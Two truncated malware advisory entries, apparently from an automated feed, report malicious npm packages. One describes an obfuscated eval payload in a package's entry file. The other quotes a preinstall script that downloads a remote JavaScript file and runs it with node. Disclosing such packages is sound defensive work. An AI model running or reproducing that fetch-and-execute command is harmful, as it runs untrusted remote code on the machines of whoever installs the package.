MAL-2026-12192 Malicious code in scrollbar-hide-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4f19e1731b591552a096b108703702b9663c1bbb8cf9c2ff6fc048f8582e8607 The package's main entry dist/index.js appends an obfuscated payload — wrapped in evalatob... with require targets and URLs hidden in \uXXXX escapes ...

Malicious code in test-package-sajsdkashdj (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 62645375d713992c0b37f646ed3cf898e0ea2b56777ca1b531b3d6ee61d93b87 package.json declares a preinstall lifecycle script: "curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js". On every npm install, the...